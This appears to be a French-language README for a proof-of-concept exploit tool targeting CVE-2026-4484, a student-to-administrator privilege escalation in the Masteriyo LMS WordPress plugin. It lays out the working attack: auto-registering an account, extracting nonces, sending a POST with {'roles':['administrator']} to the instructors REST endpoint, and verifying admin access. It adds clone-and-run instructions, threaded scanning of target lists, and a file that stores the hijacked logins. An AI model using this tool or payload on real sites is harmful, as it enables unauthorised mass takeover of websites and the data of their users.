
Masteriyo LMS <= 2.1.6 - Absence de contrôle d'autorisation permettant à un utilisateur authentifié (Étudiant+) d'élever ses privilèges jusqu'à Administrateur
Masteriyo LMS <= 2.1.6 - Absence de contrôle d'autorisation permettant à un utilisateur authentifié (Étudiant+) d'élever ses privilèges jusqu'au rôle Administrateur
| Champ | Détails |
|---|---|
| CVE ID | CVE-2026-4484 |
| Sévérité | ÉLEVÉE — Score CVSS v3.1 : 8.8 |
| Vecteur | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Logiciel concerné | Extension Masteriyo LMS pour WordPress |
| Versions concernées | Toutes les versions jusqu'à la 2.1.6 incluse |
| Type de vulnérabilité | Élévation de privilèges (manipulation de rôles) |
| Authentification requise | Oui — niveau Étudiant ou supérieur |
| CWE | CWE-269 : Gestion inappropriée des privilèges |
Description :
L'extension Masteriyo LMS pour WordPress est vulnérable à une élévation de privilèges dans toutes les versions jusqu'à la 2.1.6 incluse. La vulnérabilité provient de la fonction InstructorsController::prepare_object_for_database, qui ne restreint pas correctement l'attribution des rôles lors des requêtes à l'API REST. Un attaquant authentifié disposant d'un simple accès de niveau Étudiant peut élaborer une requête POST spécialement conçue vers le endpoint REST de l'API Masteriyo — en injectant "roles": ["administrator"] dans le corps de la requête — pour élever silencieusement son compte au niveau Administrateur WordPress, prenant ainsi le contrôle total du site sans aucune interaction d'un administrateur.
Il s'agit d'un script d'exploitation Proof-of-Concept (PoC) ciblant les installations WordPress exécutant une version vulnérable de l'extension Masteriyo LMS. L'outil prend en charge deux modes d'attaque :
| Mode | Nom | Flux | Cas d'utilisation |
|---|---|---|---|
| 1 | Nx_1 | Inscription → Connexion → Élévation → Vérification admin | Attaque depuis zéro — aucun compte existant requis |
| 2 | Nx_2 | Connexion → Élévation → Vérification admin | Compte existant disponible (Étudiant/Instructeur) |
[Register / Login as Student]
↓
[Fetch Dashboard Context — user_id + nonce]
↓
[POST /wp-json/masteriyo/v1/users/instructors/{id}]
[Payload: {"roles": ["administrator"]}]
↓
[Re-login with fresh session]
↓
[Verify /wp-admin access → confirmed Administrator]
↓
[Write to Login_admin.txt]
pip install requests urllib3 colorama
Ou via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-4484.git
cd CVE-2026-4484
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-4484.py
python3 CVE-2026-4484.py
L'outil utilise une interface terminal interactive — tous les paramètres sont demandés à l'exécution.
Créez un fichier texte brut (par exemple list.txt) avec une cible par ligne :
https://target1.com
https://target2.com
http://target3.com/wordpress
Utilisez ce mode lorsque vous ne disposez d'aucun compte existant sur la cible. L'outil enregistre automatiquement un nouveau compte étudiant, puis l'élève.
Select mode (1=Nx_1, 2=Nx_2) [2]: 1
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username to register (Nx_1) [Nxploited]: Nxploited
Email to use for registration+login (Nx_1) [[email protected]]: [email protected]
Password to use (Nx_1) [Nx_admin]: Nx_admin123!
Étapes exécutées automatiquement :
/account/signup/ → extraire le nonce d'inscription/st/ → créer un nouveau compte en tant qu'Étudiant/account/ → extraire le nonce de connexion/wp-admin/admin-ajax.php → se connecter via AJAX Masteriyo/account/#/dashboard → extraire current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} avec {"roles":["administrator"]}Login_admin.txtUtilisez ce mode lorsque vous disposez déjà d'un compte Étudiant ou Instructeur valide sur la cible.
Select mode (1=Nx_1, 2=Nx_2) [2]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 5
HTTP timeout (seconds) [10]: 10
Username or Email for login+escalation (Nx_2) [admin]: [email protected]
Password for that user: mypassword
Étapes exécutées automatiquement :
/account/ → extraire le nonce de connexion/wp-admin/admin-ajax.php → se connecter via AJAX Masteriyo/account/#/dashboard → extraire current_user_id + nonce/wp-json/masteriyo/v1/users/instructors/{id} avec {"roles":["administrator"]}Login_admin.txt| Fichier | Description |
|---|---|
Login_admin.txt | Toutes les élévations de privilèges vers administrateur confirmées |
https://target.com/wp-login.php user:[email protected]|pass:Nx_admin123!
[OK] https://target.com :: LOGIN OK :: success
[OK] https://target.com :: DASHBOARD :: user_id=42 nonce=a1b2c3d4e5
[OK] https://target.com :: ESCALATE SUCCESS :: user_id=42 username=nxploited roles=['administrator']
[OK] https://target.com :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).
POST /wp-json/masteriyo/v1/users/instructors/{user_id}
{
"roles": ["administrator"]
}
Content-Type: application/json
X-WP-Nonce: <extracted_from_dashboard>